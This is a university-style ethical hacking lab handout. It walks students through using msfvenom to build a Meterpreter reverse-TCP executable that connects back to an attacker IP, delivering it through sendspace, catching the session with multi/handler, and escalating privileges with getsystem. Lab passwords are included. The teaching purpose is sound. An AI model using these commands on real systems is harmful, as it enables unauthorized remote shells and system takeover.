
Ethical Hacking (Exploit Lab)

Pre-requisite Knowledge and Skills: 

1. Be able to setup virtual machines and virtual network
2. Be able to test the connectivity of the virtual machines in the network

Learning Objective: 

1. Break into Window Server Virtual Machine.
2. Get access to Windows Server Virtual Machine terminal (command prompt)
3. Elevate standard user access privilege to system administrator.
4. Add user profile on Windows Server Virtual Machine.

Recommended Running Environment: 

1. Windows OS 
2. Windows Server 2012 License (up to 90 days trial may apply)
3. VMWare Workstation or VMWare Player

Material/Tools: 

1. The Kali Linux VM
2. The Windows Server 2012 VM

Demonstration Video: 

1. VM Network Setup

Lab Assessment: 

1. Lab 5 Assessment  Quiz
2. The completion of the lab

Lab Instructions 

Assume you have performed Lab 2, i.e., setup virtual network for the Win Server 2012 VM 
and Kali Linux VM.

Let’s switch back to Kali Linux VM. Press CTRL + ALT key on your keyboard and click on 
Kali Linux VM tab on your VMware workstation.

Hit Enter and enter root user password (toor) to unlock the Kali Linux VM. 



STEP 1:

In order to exploit the Windows Server VM, we need to create a Metasploit payload. 

Open terminal from your Kali Linux VM Desktop quick lunch bar on you left. Click on 2nd 
shortcut icon from the top as show in the screenshot below. 

Enter the following command on your Kali Linux VM terminal to create a Metasploit payload 
with reverse tcp connection from Windows Server VM. Make sure LHOST must have your Kali 
Linux VM IP address. The IP address may vary on your Kali Linux VM. You can verify your 
Kali Linux VM IP address with ifconfig command.

Command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.138 
LPORT=4444 -f exe > /root/Desktop/Shell.exe

Please follow the following command on the screenshot to verify your Kali Linux VM IP 
address.



We need to share this Shell.exe file to our Window Server VM (victim machine). 

STEP 2:

There are multiple ways to share file you can use any one of yours preferred way. We can easily 
share our Shell.exe file from https://www.sendspace.com on few steps. Find the steps as follow.

Open your web browser on your Kali Linux VM. You can find the web browser shortcut on Kali 
Linux Desktop quick launch bar on your left. Click the first shortcut icon to open web browser.

Enter www.sendspace.com on your web browser address field as show in the screenshot and 
simply drag and drop the file next to Browse button field. 

TIPS: Hold left click button after you select the file “Shell.exe” drag the file to your desire 
location and release the left click button on your mouse to drop the file. 

https://www.sendspace.com
http://www.sendspace.com


Now click on Upload.

The file will be uploaded and prompt you with a download link page. You can simply copy the 
download link and open the download link from your Windows Server VM web browser and 
download the file. 

STEP 3:

Let switch back to Windows Server VM and download the file from our shared download link. 



From your Windows Server VM Desktop launch Firefox web browser. (Double click on the 
Firefox Desktop Shortcut)

Paste the copied sendspace download page link on your Windows Server VM Firefox web 
browser and hit enter to visit the download page.

Click on blue Download button to start download your Shell.exe file.



Click on Save file to save the Shell.exe file on your Windows Server VM

You access your Shell.exe file after download is complete. Please follow the instruction as 
shown in the screenshot to access your downloaded file. 

Downloaded file location on Windows Server VM



Now we have successfully share the Metasploit reverse tcp file on our victim i.e. Windows 
Server VM. 

Let’s get back to Kali Linux and delete the Shell.exe shared file link at www.sendspace.com. 
Always follow a safe practice and don’t miss use the exploit. Thank You!

Paste the copied link address on your Kali Linux VM web browser address field and follow the 
instruction on the screenshot and close the web browser after you are done. 

http://www.sendspace.com


STEP 4:

Open terminal on your Kali Linux VM. Click on terminal shortcut from Kali Linux Desktop 
quick lunch bar on your left.

Now let’s start msfconsole from your Kali Linux terminal and start to exploit Window Server 
service. 

Enter the following command on your Kali Linux terminal to start the msfconsole.

Command: msfconsole

It will take a while to start msfconsole be patient, after successfully loading a msfconsole msf> 
prompt will appear.

Enter the following command on msfconsole.

Command: use multi/handler



A msfconsole exploit prompt will be loaded and to initiate an exploit let’s just create a reverse 
tcp payload on our exploit windows.

Command: set PAYLOAD windows/meterpreter/reverse_tcp

Set your attacker host IP address and Port number to establish a reverse tcp connection from our 
Shell.exe exploit file we just copied on our victim Windows Server VM

Enter the following command after set PAYLOAD command

Command: set LHOST 192.168.232.138 

Command: set LPORT 4444

Make sure LHOST IP address must be your Kali Linux VM IP address. You can verify your IP 
Kali Linux IP address with ifconfig command as we did earlier. 

At this point we have successfully created a Shell.exe reverse tcp Metasploit file and 
downloaded it to our victim PC i.e. Windows Server VM. Set the payload on msfconsole for 
reverse tcp connection and set the LHOST and LPORT number. Now we are ready to launch the 
attack. 

Enter the following command on your Kali Linux VM exploit msfconsole.

Command: exploit

After entering the exploit command, your msf exploit window will open a connection on set 
LHOST and LPORT. Once our Kali Linux VM started reverse TCP handler on it IP address via 
designated port number. 

We need to get back to our Windows Server VM and launch the Shell.exe file from download 
folder location. 

Click on your Windows Server VM from your VMware workstation tab.



If you didn’t change your download folder location address by default the file will to download 
under following location.

C:\Users\lab250\Downloads

Right click on the Shell.exe file from your Window Server 2012 VM download folder location 
and click on Run as administrator. 

A user account control window will prompt with administrator privilege enter “Admin123” on 
Password field and hit enter or click yes to continue. If you enter a valid administrator password 
the Shell.exe file will execute with system admin privilege. 

 



Now let’s switch back to Kali Linux VM and you will notice a change on you msfconsole. A 
Meterpreter exploit session was successfully established between Kali Linux VM (attacker) and 
Windows Server VM (victim). We succeed to achieve our first objective, break into Windows 
Server VM.

Now verify our victim pc system information and make sure we have successfully break in.

On your kali Linux VM Meterpreter exploit console enter the following command.

Command: sysinfo

You can verify the information from your Windows Server VM. Switch back to your Windows 

Server VM. Enter   key on your keyboard. A run window prompt will appear enter 
dxdiag and hit enter. 

STEP 5:

Now let’s get access to Windows Server VM shell/ command prompt.

Enter the following command on your Kali Linux exploit console.

Command: shell



Successful to exploit the Windows Server VM command prompt. Second objective completed. 

Enter exit to get out form Windows Server command prompt.

STEP 6:

Now let’s elevate the user privilege to system administrator. 

Enter the following command on your Kali Linux VM exploit console.

Command: getsystem

Notice after we execute the following command a message indicate with impersonation with 
Admin privilege. 

Let verify where we are able to elevate the user privilege to system administrator or not. 

Enter the following command on your Kali Linux exploit console. 

Command: shell

Notice we have access to windows system32 system administrator shell prompt. Achieved third 
objective elevate standard user privilege to system administrator. 


